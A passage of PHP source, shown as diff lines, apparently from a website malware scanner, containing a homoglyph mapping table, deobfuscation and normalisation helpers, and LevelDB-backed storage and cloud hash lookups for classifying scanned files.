iJ4IjtzOjM6Iu+9mCI7czoxOiJ4IjtzOjM6IuKFuSI7czoxOiJ4IjtzOjQ6IvCdkLEiO3M6MToieCI7czo0OiLwnZGlIjtzOjE6IngiO3M6NDoi8J2SmSI7czoxOiJ4IjtzOjQ6IvCdk40iO3M6MToieCI7czo0OiLwnZSBIjtzOjE6IngiO3M6NDoi8J2UtSI7czoxOiJ4IjtzOjQ6IvCdlakiO3M6MToieCI7czo0OiLwnZadIjtzOjE6IngiO3M6NDoi8J2XkSI7czoxOiJ4IjtzOjQ6IvCdmIUiO3M6MToieCI7czo0OiLwnZi5IjtzOjE6IngiO3M6NDoi8J2ZrSI7czoxOiJ4IjtzOjQ6IvCdmqEiO3M6MToieCI7czoyOiLRhSI7czoxOiJ4IjtzOjM6IuGVgSI7czoxOiJ4IjtzOjM6IuGVvSI7czoxOiJ4IjtzOjM6IuGZrSI7czoxOiJYIjtzOjM6IuKVsyI7czoxOiJYIjtzOjQ6IvCQjKIiO3M6MToiWCI7czo0OiLwkaOsIjtzOjE6IlgiO3M6Mzoi77y4IjtzOjE6IlgiO3M6Mzoi4oWpIjtzOjE6IlgiO3M6NDoi8J2QlyI7czoxOiJYIjtzOjQ6IvCdkYsiO3M6MToiWCI7czo0OiLwnZG/IjtzOjE6IlgiO3M6NDoi8J2SsyI7czoxOiJYIjtzOjQ6IvCdk6ciO3M6MToiWCI7czo0OiLwnZSbIjtzOjE6IlgiO3M6NDoi8J2VjyI7czoxOiJYIjtzOjQ6IvCdloMiO3M6MToiWCI7czo0OiLwnZa3IjtzOjE6IlgiO3M6NDoi8J2XqyI7czoxOiJYIjtzOjQ6IvCdmJ8iO3M6MToiWCI7czo0OiLwnZmTIjtzOjE6IlgiO3M6NDoi8J2ahyI7czoxOiJYIjtzOjM6IuqesyI7czoxOiJYIjtzOjI6Is6nIjtzOjE6IlgiO3M6NDoi8J2aviI7czoxOiJYIjtzOjQ6IvCdm7giO3M6MToiWCI7czo0OiLwnZyyIjtzOjE6IlgiO3M6NDoi8J2drCI7czoxOiJYIjtzOjQ6IvCdnqYiO3M6MToiWCI7czozOiLisqwiO3M6MToiWCI7czoyOiLQpSI7czoxOiJYIjtzOjM6IuK1nSI7czoxOiJYIjtzOjM6IuGatyI7czoxOiJYIjtzOjM6IuqTqyI7czoxOiJYIjtzOjQ6IvCQipAiO3M6MToiWCI7czo0OiLwkIq0IjtzOjE6IlgiO3M6NDoi8JCMlyI7czoxOiJYIjtzOjQ6IvCQlKciO3M6MToiWCI7czoyOiLJoyI7czoxOiJ5IjtzOjM6IuG2jCI7czoxOiJ5IjtzOjM6Iu+9mSI7czoxOiJ5IjtzOjQ6IvCdkLIiO3M6MToieSI7czo0OiLwnZGmIjtzOjE6InkiO3M6NDoi8J2SmiI7czoxOiJ5IjtzOjQ6IvCdk44iO3M6MToieSI7czo0OiLwnZSCIjtzOjE6InkiO3M6NDoi8J2UtiI7czoxOiJ5IjtzOjQ6IvCdlaoiO3M6MToieSI7czo0OiLwnZaeIjtzOjE6InkiO3M6NDoi8J2XkiI7czoxOiJ5IjtzOjQ6IvCdmIYiO3M6MToieSI7czo0OiLwnZi6IjtzOjE6InkiO3M6NDoi8J2ZriI7czoxOiJ5IjtzOjQ6IvCdmqIiO3M6MToieSI7czoyOiLKjyI7czoxOiJ5IjtzOjM6IuG7vyI7czoxOiJ5IjtzOjM6IuqtmiI7czoxOiJ5IjtzOjI6Is6zIjtzOjE6InkiO3M6Mzoi4oS9IjtzOjE6InkiO3M6NDoi8J2bhCI7czoxOiJ5IjtzOjQ6IvCdm74iO3M6MToieSI7czo0OiLwnZy4IjtzOjE6InkiO3M6NDoi8J2dsiI7czoxOiJ5IjtzOjQ6IvCdnqwiO3M6MToieSI7czoyOiLRgyI7czoxOiJ5IjtzOjI6ItKvIjtzOjE6InkiO3M6Mzoi4YOnIjtzOjE6InkiO3M6NDoi8JGjnCI7czoxOiJ5IjtzOjM6Iu+8uSI7czoxOiJZIjtzOjQ6IvCdkJgiO3M6MToiWSI7czo0OiLwnZGMIjtzOjE6IlkiO3M6NDoi8J2SgCI7czoxOiJZIjtzOjQ6IvCdkrQiO3M6MToiWSI7czo0OiLwnZOoIjtzOjE6IlkiO3M6NDoi8J2UnCI7czoxOiJZIjtzOjQ6IvCdlZAiO3M6MToiWSI7czo0OiLwnZaEIjtzOjE6IlkiO3M6NDoi8J2WuCI7czoxOiJZIjtzOjQ6IvCdl6wiO3M6MToiWSI7czo0OiLwnZigIjtzOjE6IlkiO3M6NDoi8J2ZlCI7czoxOiJZIjtzOjQ6IvCdmogiO3M6MToiWSI7czoyOiLOpSI7czoxOiJZIjtzOjI6Is+SIjtzOjE6IlkiO3M6NDoi8J2avCI7czoxOiJZIjtzOjQ6IvCdm7YiO3M6MToiWSI7czo0OiLwnZywIjtzOjE6IlkiO3M6NDoi8J2dqiI7czoxOiJZIjtzOjQ6IvCdnqQiO3M6MToiWSI7czozOiLisqgiO3M6MToiWSI7czoyOiLQoyI7czoxOiJZIjtzOjI6ItKuIjtzOjE6IlkiO3M6Mzoi4Y6pIjtzOjE6IlkiO3M6Mzoi4Y69IjtzOjE6IlkiO3M6Mzoi6pOsIjtzOjE6IlkiO3M6NDoi8Ja9gyI7czoxOiJZIjtzOjQ6IvCRoqQiO3M6MToiWSI7czo0OiLwkIqyIjtzOjE6IlkiO3M6NDoi8J2QsyI7czoxOiJ6IjtzOjQ6IvCdkaciO3M6MToieiI7czo0OiLwnZKbIjtzOjE6InoiO3M6NDoi8J2TjyI7czoxOiJ6IjtzOjQ6IvCdlIMiO3M6MToieiI7czo0OiLwnZS3IjtzOjE6InoiO3M6NDoi8J2VqyI7czoxOiJ6IjtzOjQ6IvCdlp8iO3M6MToieiI7czo0OiLwnZeTIjtzOjE6InoiO3M6NDoi8J2YhyI7czoxOiJ6IjtzOjQ6IvCdmLsiO3M6MToieiI7czo0OiLwnZmvIjtzOjE6InoiO3M6NDoi8J2aoyI7czoxOiJ6IjtzOjM6IuG0oiI7czoxOiJ6IjtzOjM6IuqukyI7czoxOiJ6IjtzOjQ6IvCRo4QiO3M6MToieiI7czo0OiLwkIu1IjtzOjE6IloiO3M6NDoi8JGjpSI7czoxOiJaIjtzOjM6Iu+8uiI7czoxOiJaIjtzOjM6IuKEpCI7czoxOiJaIjtzOjM6IuKEqCI7czoxOiJaIjtzOjQ6IvCdkJkiO3M6MToiWiI7czo0OiLwnZGNIjtzOjE6IloiO3M6NDoi8J2SgSI7czoxOiJaIjtzOjQ6IvCdkrUiO3M6MToiWiI7czo0OiLwnZOpIjtzOjE6IloiO3M6NDoi8J2WhSI7czoxOiJaIjtzOjQ6IvCdlrkiO3M6MToiWiI7czo0OiLwnZetIjtzOjE6IloiO3M6NDoi8J2YoSI7czoxOiJaIjtzOjQ6IvCdmZUiO3M6MToiWiI7czo0OiLwnZqJIjtzOjE6IloiO3M6MjoizpYiO3M6MToiWiI7czo0OiLwnZqtIjtzOjE6IloiO3M6NDoi8J2bpyI7czoxOiJaIjtzOjQ6IvCdnKEiO3M6MToiWiI7czo0OiLwnZ2bIjtzOjE6IloiO3M6NDoi8J2elSI7czoxOiJaIjtzOjM6IuGPgyI7czoxOiJaIjtzOjM6IuqTnCI7czoxOiJaIjtzOjQ6IvCRoqkiO3M6MToiWiI7czoyOiLGvyI7czoxOiL+IjtzOjI6Is+4IjtzOjE6Iv4iO3M6Mjoiz7ciO3M6MToi3iI7czo0OiLwkJOEIjtzOjE6It4iO30=";
- private static function need_skip($string, $i)
- {
- $chars = " @\r\n\t";
- if (isset($string[$i]) && strpos($chars, $string[$i]) !== false) {
- $i++;
- return $i;
- }
- return false;
- }
- private static function match_shortopen_tag($string, $i, $needle, $j)
- {
- $pos_needle = false;
- $pos_string = false;
- if ((isset($needle[$j - 2]) && isset($string[$i - 2]))
- && (($needle[$j - 2] == '<') && ($string[$i - 2] == '<'))
- && (isset($needle[$j - 1]) && isset($string[$i - 1]))
- && ($needle[$j - 1] == '?' && $string[$i - 1] == '?')
- ) {
- $pos_needle = $j;
- $pos_string = $i;
- }
- if ($pos_needle && (isset($needle[$pos_needle]) && $needle[$pos_needle] == 'p')
- && (isset($needle[$pos_needle + 1]) && $needle[$pos_needle + 1] == 'h')
- && (isset($needle[$pos_needle + 2]) && $needle[$pos_needle + 2] == 'p')
- ) {
- $pos_needle = $pos_needle + 3;
- }
- if ($pos_string && (isset($string[$pos_string]) && $string[$pos_string] == 'p')
- && (isset($string[$pos_string + 1]) && $string[$pos_string + 1] == 'h')
- && (isset($string[$pos_string + 2]) && $string[$pos_string + 2] == 'p')
- ) {
- $pos_string = $pos_string + 3;
- }
- return [$pos_needle, $pos_string];
- }
- public static function strip_whitespace($string, $save_length = false)
- {
- if (!$save_length) {
- StringToStreamWrapper::prepare($string);
- return @php_strip_whitespace(StringToStreamWrapper::WRAPPER_NAME . '://');
- } else {
- $string = preg_replace_callback('~'
- . '(\'(?:.*?[^\\\\])??(?:(?:\\\\\\\\)+)?+\')' //match all '' strings to exclude it from comments
- . '|("(?:.*?[^\\\\])??(?:(?:\\\\\\\\)+)?+")' //match all "" strings to exclude it from comments
- . '|(//.*?(?:[\n\r]|$))' //match // comments
- . '|(/\*(?:.*?)\*/)' //match /**/ comments
- . '|(#[^\n\r]*[\n\r])' //match # comments
- . '~mis', function($m) {
- if (isset($m[1]) && !empty($m[1])) {
- return $m[1];
- }
- if (isset($m[2]) && !empty($m[2])) {
- return $m[2];
- }
- if ((isset($m[3]) && !empty($m[3])) || (isset($m[4]) && !empty($m[4])) || (isset($m[5]) && !empty($m[5]))) {
- if (isset($m[3]) && substr(trim($m[3]), -2, 2) == '?>') {
- return (str_repeat(' ', strlen($m[0]) - 2) . '?>');
- } else {
- return str_repeat(' ', strlen($m[0]));
- }
- }
- }, $string);
- return $string;
- }
- }
- public static function normalize($string, $save_length = false)
- {
- $search = array( ' ;', ' =', ' ,', ' .', ' (', ' )', ' {', ' }', '; ', '= ', ', ', '. '
- , '( ', '( ', '{ ', '} ', ' !', ' >', ' <', ' _', '_ ', '< ', '> ', ' $', ' %', '% '
- , '# ', ' #', '^ ', ' ^', ' &', '& ', ' ?', '? ');
- $replace = array( ';', '=', ',', '.', '(', ')', '{', '}', ';', '=', ',', '.'
- , '(', ')', '{', '}', '!', '>', '<', '_', '_', '<', '>', '$', '%', '%'
- , '#', '#', '^', '^', '&', '&', '?', '?');
- if (!$save_length) {
- $string = str_replace('@', '', $string);
- $string = preg_replace('~\s+~smi', ' ', $string);
- $string = str_replace($search, $replace, $string);
- }
- $string = preg_replace_callback('~\bchr\(\s*([0-9a-fA-FxX]+)\s*\)~', function($m) use ($save_length) {
- if ($save_length) {
- return str_pad("'" . @chr(intval($m[1], 0)) . "'", strlen($m[0]), ' ');
- } else {
- return "'" . @chr(intval($m[1], 0)) . "'";
- }
- }, $string);
- for ($i = 0; $i < 2; $i++) {
- $string = preg_replace_callback('~%([0-9a-fA-F]{2})~', function($m) use ($save_length) {
- if ($save_length) {
- return str_pad(chr(@hexdec($m[1])), strlen($m[0]), ' ');
- } else {
- return @chr(hexdec($m[1]));
- }
- }, $string);
- }
- $string = preg_replace_callback('/\&[#\w]{2,20};/i', function($m) use ($save_length) {
- if ($save_length) {
- return str_pad(@html_entity_decode($m[0], ENT_QUOTES | ENT_HTML5), strlen($m[0]), ' ');
- } else {
- return @html_entity_decode($m[0], ENT_QUOTES | ENT_HTML5);
- }
- }, $string);
- $string = preg_replace_callback('/\\\\x([a-fA-F0-9]{1,2})/i', function($m) use ($save_length) {
- if ($save_length) {
- return str_pad(chr(@hexdec($m[1])), strlen($m[0]), ' ');
- } else {
- return @chr(hexdec($m[1]));
- }
- }, $string);
- $string = preg_replace_callback('/\\\\([0-9]{1,3})/i', function($m) use ($save_length) {
- if ($save_length) {
- return str_pad(@chr(octdec($m[1])), strlen($m[0]), ' ');
- } else {
- return @chr(octdec($m[1]));
- }
- }, $string);
- $string = preg_replace_callback('/[\'"]\s*?\.+\s*?[\'"]/smi', function($m) use ($save_length) {
- if ($save_length) {
- return str_repeat(' ', strlen($m[0]));
- } else {
- return '';
- }
- }, $string);
- $string = preg_replace_callback('/[\'"]\s*?\++\s*?[\'"]/smi', function($m) use ($save_length) {
- if ($save_length) {
- return str_repeat(' ', strlen($m[0]));
- } else {
- return '';
- }
- }, $string);
- $string = preg_replace_callback('~<title[^>]{0,99}>\s*\K(.{0,300}?)(?=<\/title>)~mis', function($m) use ($save_length) {
- if(preg_match('~(?:\w[^\x00-\x7F]{1,9}|[^\x00-\x7F]{1,9}\w)~', $m[1])) {
- return self::HomoglyphNormalize($m[1]);
- }
- return $m[1];
- }, $string);
- if (!$save_length) {
- $string = str_replace('<?php', '<?php ', $string);
- $string = preg_replace('~\s+~', ' ', $string);
- }
- return $string;
- }
- public static function string_pos($string, $needle)
- {
- $j = 0;
- $skip = false;
- $start = false;
- $end = 0;
- $last_tag = [false, false];
- $string = self::strip_whitespace($string, true);
- $string = self::normalize($string, true);
- $needle = self::normalize($needle, true);
- for ($i = 0, $iMax = strlen($string); $i < $iMax; $i++) {
- if(trim($string[$i]) === '' && trim($needle[$j]) === '') {
- $string[$i] = $needle[$j] = ' ';
- }
- if ($string[$i] == $needle[$j]) {
- if ($j == 0) {
- $start = $i;
- } elseif ($j == strlen($needle) - 1) {
- $end = $i;
- return [$start, $end];
- }
- $j++;
- } else {
- $match_php_tag = self::match_shortopen_tag($string, $i, $needle, $j);
- if ($match_php_tag[0] !== false && ($last_tag[0] !== $match_php_tag[0])) {
- $j = $match_php_tag[0];
- }
- if ($match_php_tag[1] !== false && ($last_tag[1] !== $match_php_tag[1])) {
- $i = $match_php_tag[1] - 1;
- }
- $last_tag = $match_php_tag;
- if ($match_php_tag[0] !== false || ($match_php_tag[1] !== false && (!empty($last_tag)))) {
- continue;
- }
- $skip = self::need_skip($string, $i);
- if ($skip !== false && $start !== false) {
- $i = $skip - 1;
- } else {
- $j = 0;
- }
- }
- }
- return false;
- }
- private static function HomoglyphNormalize($str)
- {
- if (!is_array(self::$confusables)) {
- self::$confusables = @unserialize(@base64_decode(self::$confusables));
- }
- return str_replace(array_keys(self::$confusables), array_values(self::$confusables), $str);
- }
- }
- class Encoding
- {
- // Unicode BOM is U+FEFF, but after encoded, it will look like this.
- const UTF32_BIG_ENDIAN_BOM = "\x00\x00\xFE\xFF";
- const UTF32_LITTLE_ENDIAN_BOM = "\xFF\xFE\x00\x00";
- const UTF16_BIG_ENDIAN_BOM = "\xFE\xFF";
- const UTF16_LITTLE_ENDIAN_BOM = "\xFF\xFE";
- const UTF8_BOM = "\xEF\xBB\xBF";
- public static function detectUTFEncoding($text)
- {
- $first2 = substr($text, 0, 2);
- $first3 = substr($text, 0, 3);
- $first4 = substr($text, 0, 4);
- if ($first3 == self::UTF8_BOM) {
- return 'UTF-8';
- } elseif ($first4 == self::UTF32_BIG_ENDIAN_BOM) {
- return 'UTF-32BE';
- } elseif ($first4 == self::UTF32_LITTLE_ENDIAN_BOM) {
- return 'UTF-32LE';
- } elseif ($first2 == self::UTF16_BIG_ENDIAN_BOM) {
- return 'UTF-16BE';
- } elseif ($first2 == self::UTF16_LITTLE_ENDIAN_BOM) {
- return 'UTF-16LE';
- }
- return false;
- }
- public static function iconvSupported()
- {
- return (function_exists('iconv') && is_callable('iconv'));
- }
- public static function convertToCp1251($from, $str)
- {
- $ret = @iconv($from, 'CP1251//TRANSLIT', $str);
- if ($ret === false) {
- $ret = @iconv($from, 'CP1251//IGNORE', $str);
- }
- return $ret;
- }
- public static function convertToUTF8($from, $str)
- {
- return @iconv($from, 'UTF-8//IGNORE', $str);
- }
- }
- /**
- * Class RapidScanStorageRecord.
- *
- * Implements db record for RapidScan
- */
- class RapidScanStorageRecord
- {
- const WHITE = 1; // white listed file in cloud db
- const BLACK = 6; // black listed file in cloud db
- const DUAL_USE = 2; // dual used listed file in cloud db
- const UNKNOWN = 3; // unknown file --> file not listed in cloud db
- const HEURISTIC = 4; //detected as heuristic
- const CONFLICT = 5; // we have filename hashing conflict for this file
- const NEWFILE = 0; // this is a new file (or content changed)
- const RX_MALWARE = 7; // detected as malware by rx scan
- const RX_SUSPICIOUS = 8; // detected as suspicious by rx scan
- const RX_GOOD = 9; // detected as good by rx scan
- /**
- * @var string;
- */
- private $filename;
- /**
- * @var int
- */
- private $key;
- /**
- * @var int
- */
- private $updated_ts;
- /**
- * @var int
- */
- private $verdict;
- /**
- * @var string
- */
- private $sha2;
- /**
- * @var string
- */
- private $signature = '';
- /**
- * @var string
- */
- private $snippet = '';
- /**
- * RapidScanStorageRecord constructor.
- * @param $key
- * @param $updated_ts
- * @param int $verdict
- * @param $sha2
- * @param string $signature
- */
- private function __construct($key, $updated_ts, $verdict, $sha2, $signature, $filename, $snippet)
- {
- $this->filename = $filename;
- $this->key = $key;
- $this->updated_ts = $updated_ts;
- $this->verdict = $verdict;
- $this->sha2 = $sha2;
- $this->snippet = $snippet;
- if ($signature!=='') {
- $this->signature = self::padTo10Bytes($signature);
- }
- }
- /**
- * Create db storage record from file
- * @param $filename
- * @param string $signature
- * @param int $verdict
- * @return RapidScanStorageRecord
- * @throws Exception
- */
- public static function fromFile($file, $signature = '', $verdict = self::UNKNOWN, $snippet = '')
- {
- $filename = '';
- $stat = [];
- $inode = 0;
- $ctime = 0;
- $mtime = 0;
- if (is_string($file) && file_exists($file)) {
- $filename = $file;
- $stat = stat($filename);
- $inode = $stat['ino'];
- $ctime = $stat['ctime'];
- $mtime = $stat['mtime'];
- } else if ($file instanceof FileInfo && file_exists($file->getFilename())){
- $filename = $file->getFilename();
- $inode = $file->getInode();
- $ctime = $file->getCreated();
- $mtime = $file->getModified();
- }
- if (!file_exists($filename)) {
- throw new Exception('File \'' . $filename . '\' doesn\'t exists.');
- }
- $key = (int)((string)self::fileNameHash($filename) . (string)$inode);
- $updated_ts = max($mtime, $ctime);
- $sha2 = '';
- if (!$verdict) {
- $verdict = self::NEWFILE;
- }
- if ($signature!=='') {
- $signature = self::padTo10Bytes($signature);
- }
- return new self($key, $updated_ts, $verdict, $sha2, $signature, $filename, $snippet);
- }
- /**
- * @param $array
- * @return RapidScanStorageRecord
- */
- public static function fromArray($array)
- {
- $key = $array['key'];
- $updated_ts = $array['updated_ts'];
- $sha2 = hex2bin($array['sha2']);
- $verdict = $array['verdict'];
- $signature = $array['signature'];
- return new self($key, $updated_ts, $verdict, $sha2, $signature, '', '');
- }
- /**
- * @return array
- */
- public function toArray()
- {
- $array['key'] = $this->key;
- $array['updated_ts'] = $this->updated_ts;
- $array['verdict'] = $this->verdict;
- $array['sha2'] = bin2hex($this->sha2);
- $array['signature'] = $this->signature;
- return $array;
- }
- /**
- * @return array
- */
- public function calcSha2()
- {
- $this->sha2 = hash('sha256', file_get_contents($this->filename), true);
- }
- /**
- * @param $verdict
- */
- public function setVerdict($verdict)
- {
- $this->verdict = $verdict;
- }
- /**
- * @return int
- */
- public function getKey()
- {
- return $this->key;
- }
- /**
- * @param $signature
- */
- public function setSignature($signature)
- {
- if ($signature!=='') {
- $this->signature = self::padTo10Bytes($signature);
- }
- }
- /**
- * Unpack bytestring $value to RapidScanStorageRecord
- * @param $hash
- * @param $value
- * @return RapidScanStorageRecord
- */
- public static function unpack($hash, $value)
- {
- // pack format
- // 8 bytes timestamp
- // 1 byte verdict
- // 32 bytes sha2
- // 10 bytes signature (only for BLACK, DUAL_USE, RX_MALWARE, RX_SUSPICIOUS)
- // note - we will hold bloomfilter for file later on for those that are WHITE
- // it will be used to detect installed apps
- $signature = '';
- $timestamp = unpack("l", substr($value, 0, 8));
- $updated_ts = array_pop($timestamp);
- $verdict = $value[8];
- $verdict = (int)bin2hex($verdict);
- $sha2 = substr($value, 9, 32);
- if (in_array($verdict, array(self::BLACK, self::DUAL_USE, self::RX_MALWARE, self::RX_SUSPICIOUS))) {
- $signature = substr($value, 41, 10); # 10 bytes signature string
- }
- if (strlen($value) > 51) {
- $snippet = substr($value, 51);
- } else {
- $snippet = '';
- }
- return new self($hash, $updated_ts, $verdict, $sha2, $signature, '', $snippet);
- }
- /**
- * Pack RapidScanStorageRecord to bytestring to save in db
- * @return string
- */
- public function pack()
- {
- $signature = '';
- if (strlen($this->signature) > 0) {
- $signature = $this->signature;
- }
- return (($this->updated_ts < 0) ? str_pad(pack("l", $this->updated_ts), 8, "\xff") : str_pad(pack("l", $this->updated_ts), 8, "\x00")) . pack("c", $this->verdict) . $this->sha2 . $signature . $this->snippet;
- }
- /**
- * Hash function for create hash of full filename to store in db as key
- * @param $str
- * @return int
- */
- private static function fileNameHash($str)
- {
- for ($i = 0, $h = 5381, $len = strlen($str); $i < $len; $i++) {
- $h = (($h << 5) + $h + ord($str[$i])) & 0x7FFFFFFF;
- }
- return $h;
- }
- /**
- * Convert string to utf-8 and fitting/padding it to 10 bytes
- * @param $str
- * @return string
- */
- private static function padTo10Bytes($str)
- {
- # convert string to bytes in UTF8, and add 0 bytes to pad it to 10
- # cut to 10 bytes of necessary
- $str = utf8_encode($str);
- $len = strlen($str);
- if ($len < 10) {
- $str = str_pad($str, 10, "\x00");
- } elseif ($len > 10) {
- $str = substr($str, 0, 10);
- }
- return $str;
- }
- /**
- * @return int
- */
- public function getUpdatedTs()
- {
- return $this->updated_ts;
- }
- /**
- * @return int
- */
- public function getVerdict()
- {
- return $this->verdict;
- }
- /**
- * @return string
- */
- public function getSha2()
- {
- return $this->sha2;
- }
- /**
- * @return string
- */
- public function getSignature()
- {
- return $this->signature;
- }
- /**
- * @return string
- */
- public function getFilename()
- {
- return $this->filename;
- }
- /**
- * @param $filename
- */
- public function setFilename($filename)
- {
- $this->filename = $filename;
- }
- /**
- * @return string
- */
- public function getSnippet()
- {
- return $this->snippet;
- }
- /**
- * @param $filename
- */
- public function setSnippet($snippet)
- {
- $this->snippet = $snippet;
- }
- }
- /**
- * Interface RapidScanStorage implements class to work with RapidScan db
- * @package Aibolit\Lib\Scantrack
- */
- class RapidScanStorage
- {
- /**
- * @var string
- */
- protected $old_dir;
- /**
- * @var string
- */
- protected $new_dir;
- /**
- * @var resource
- */
- protected $new_db;
- /**
- * @var resource
- */
- protected $old_db;
- /**
- * @var resource
- */
- private $wb;
- /**
- * @var int
- */
- public $batch_count;
- /**
- * RapidScanStorage constructor.
- * @param $base - folder where db located
- */
- public function __construct($base)
- {
- if(!is_dir($base) && !mkdir($base) && !is_dir($base)) {
- throw new Exception(sprintf('Directory "%s" was not created', $base));
- }
- $this->old_dir = $base . '/current';
- $this->new_dir = $base . '/new';
- $options = array('create_if_missing' => true, 'compression'=> LEVELDB_NO_COMPRESSION);
- $this->new_db = new LevelDB($this->new_dir, $options);
- $this->old_db = new LevelDB($this->old_dir, $options);
- $this->wb = NULL; // will be use to track writing to batch
- $this->batch_count = 0;
- }
- /**
- * @param RapidScanStorageRecord $record
- * @return bool
- */
- public function put(RapidScanStorageRecord $record)
- {
- $this->startBatch();
- $this->batch_count++;
- $value = $this->wb->put($record->getKey(), $record->pack());
- return $value;
- }
- /**
- * @param $hash
- * @return bool|RapidScanStorageRecord
- */
- public function getNew($hash)
- {
- $value = $this->new_db->get($hash);
- if($value) {
- $return = RapidScanStorageRecord::unpack($hash, $value);
- return $return;
- }
- return false;
- }
- /**
- * @param $hash
- * @return bool|RapidScanStorageRecord
- */
- public function getOld($hash)
- {
- $value = $this->old_db->get($hash);
- if($value) {
- $return = RapidScanStorageRecord::unpack($hash, $value);
- return $return;
- }
- return false;
- }
- /**
- * @param $hash
- * @return bool
- */
- public function delete($hash)
- {
- $return = $this->new_db->delete($hash);
- return $return;
- }
- /**
- * Close db, remove old db, move new to a new space
- */
- public function finish()
- {
- $this->old_db->close();
- $this->flushBatch();
- $this->new_db->close();
- self::rmtree($this->old_dir);
- rename($this->new_dir, $this->old_dir);
- }
- /**
- * Start batch operations
- */
- private function startBatch()
- {
- if(!$this->wb) {
- $this->wb = new LevelDBWriteBatch();
- $this->batch_count = 0;
- }
- }
- /**
- * write all data in a batch, reset batch
- */
- public function flushBatch()
- {
- if ($this->wb) {
- $this->new_db->write($this->wb);
- $this->batch_count = 0;
- $this->wb = NULL;
- }
- }
- /**
- * Helper function to remove folder tree
- * @param $path
- */
- public static function rmTree($path)
- {
- if (is_dir($path)) {
- foreach (scandir($path) as $name) {
- if (in_array($name, array('.', '..'))) {
- continue;
- }
- $subpath = $path.DIRECTORY_SEPARATOR . $name;
- self::rmTree($subpath);
- }
- rmdir($path);
- } else {
- unlink($path);
- }
- }
- }
- /**
- * For work with Cloud Assisted Storage
- * @package Aibolit\Lib\Scantrack
- */
- class CloudAssistedStorage
- {
- private $db_filepath = '';
- public function __construct($folder)
- {
- if(!is_dir($folder) && !mkdir($folder) && !is_dir($folder)) {
- throw new Exception(sprintf('Directory "%s" was not created', $folder));
- }
- $this->db_filepath = $folder . DIRECTORY_SEPARATOR . 'cloud_assisted_verdicts.json';
- }
- public function getList()
- {
- if (!file_exists($this->db_filepath)) {
- return [];
- }
- $content = file_get_contents($this->db_filepath);
- if (!$content) {
- return [];
- }
- $list = json_decode($content, true);
- if (!$list || !is_array($list)) {
- return [];
- }
- return $list;
- }
- public function putList($list)
- {
- file_put_contents($this->db_filepath, json_encode($list));
- }
-
- public function delete()
- {
- if (!file_exists($this->db_filepath)) {
- return;
- }
- unlink($this->db_filepath);
- }
- }
- /**
- * This is actual class that does account level scan
- * and remembers the state of scan
- * Class RapidAccountScan
- * @package Aibolit\Lib\Scantrack
- */
- class RapidAccountScan
- {
- const RESCAN_ALL = 0; // mode of operation --> rescan all files that are not white/black/dual_use using cloud scanner & regex scanner
- const RESCAN_NONE = 1; // don't re-scan any files that we already scanned
- const RESCAN_SUSPICIOUS = 2; // only re-scan suspicious files using only regex scanner
- const MAX_BATCH = 1000; // max files to write in a db batch write
- const MAX_TO_SCAN = 1000; // max files to scan using cloud/rx scanner at a time
- private $db;
- private $cas_db;
- private $cas_list = [];
- private $vars = null;
- private $scanlist;
- private $collisions;
- private $processedFiles;
- private $rescan_count = 0;
- private $counter = 0;
- private $str_error = false;
- private $scanner = null;
- /**
- * RapidAccountScan constructor.
- * @param RapidScanStorage $rapidScanStorage
- */
- public function __construct($scanner, $rapidScanStorage, $cloudAssistedStorage, &$vars, $counter = 0)
- {
- $this->db = $rapidScanStorage;
- $this->cas_db = $cloudAssistedStorage;
- $this->vars = $vars;
- $this->scanlist = array();
- $this->collisions = array();
- $this->processedFiles = 0;
- $this->counter = $counter;
- $this->scanner = $scanner;
- }
- /**
- * Get str error
- */
- public function getStrError()
- {
- return $this->str_error;
- }
- /**
- * Get count of rescan(regexp) files
- */
- public function getRescanCount()
- {
- return $this->rescan_count;
- }
- /**
- * placeholder for actual regex scan
- * return RX_GOOD, RX_MALWARE, RX_SUSPICIOUS and signature from regex scaner
- * if we got one
- */
- private function regexScan($filename, $i, $vars)
- {
- $this->rescan_count++;
- printProgress(++$this->processedFiles, $filename, $vars);
- $return = $this->scanner->QCR_ScanFile($filename, $vars, null, $i, false);
- return $return;
- }
- /**
- * we will have batch of new files that we will scan
- * here we will write them into db once we scanned them
- * we need to check that there is no conflicts/collisions
- * in names, for that we check for data in db if such filename_hash
- * already exists, but we also keep set of filename_hashes of given
- * batch, to rule out conflicts in current batch as well
- */
- private function writeNew()
- {
- $this->collisions = array();
- foreach ($this->scanlist as $fileinfo) {
- if (in_array($fileinfo->getKey(), $this->collisions) || $this->db->getNew($fileinfo->getKey())) {
- $fileinfo->setVerdict(RapidScanStorageRecord::CONFLICT);
- }
- $this->collisions [] = $fileinfo->getKey();
- $this->db->put($fileinfo);
- }
- }
- /**
- * given a batch do cloudscan
- * @throws \Exception
- */
- private function doCloudScan()
- {
- if (count($this->scanlist) <= 0) {
- return;
- }
- $index_table = [];
- $blackfiles = [];
- $sha_list = [];
- foreach ($this->scanlist as $i => $fileinfo) {
- $sha_list[] = bin2hex($fileinfo->getSha2());
- $index_table[] = $i;
- $fileinfo->setVerdict(RapidScanStorageRecord::UNKNOWN);
- }
- $ca = Factory::instance()->create(CloudAssistedRequest::class, [CLOUD_ASSIST_TOKEN]);
- $white_raw = [];
- $black_raw = [];
- $verdicts_black_raw = [];
-
- try {
- list($white_raw, $black_raw, $verdicts_black_raw) = $ca->checkFilesByHash($sha_list);
- } catch (\Exception $e) {
- $this->str_error = $e->getMessage();
- }
-
- $dual = array_intersect($white_raw, $black_raw);
- $black_raw = array_diff($black_raw, $white_raw);
- foreach ($white_raw as $index) {
- $this->scanlist[$index_table[$index]]->setVerdict(RapidScanStorageRecord::WHITE);
- }
- $signatures_db = [];
- foreach ($black_raw as $i => $index) {
- $this->scanlist[$index_table[$index]]->setVerdict(RapidScanStorageRecord::BLACK);
- $signature = isset($verdicts_black_raw[$i]) ? $verdicts_black_raw[$i] : '';
- $signature_id = 'c_' . hash('crc32', $signature);
- $signatures_db[$signature_id] = $signature;
- $this->scanlist[$index_table[$index]]->setSignature($signature_id);
- $blackfiles[$this->scanlist[$index_table[$index]]->getFilename()] = [
- 'h' => $sha_list[$index],
- 'ts' => time(),
- 'sn' => $signature,
- 'ras_sigid' => $signature_id,
- ];
- }
- $signatures_list = $this->cas_db->getList();
- foreach ($signatures_db as $hash => $sig) {
- $this->cas_list[$hash] = $sig;
- if (isset($signatures_list[$hash])) {
- continue;
- }
- $signatures_list[$hash] = $sig;
- }
- $this->cas_db->putList($signatures_list);
-
- foreach ($dual as $index) {
- $this->scanlist[$index_table[$index]]->setVerdict(RapidScanStorageRecord::DUAL_USE);
- $this->scanlist[$index_table[$index]]->setSignature('DUAL'); //later on we will get sig info from cloud
- }
- // we can now update verdicts in batch for those that we know
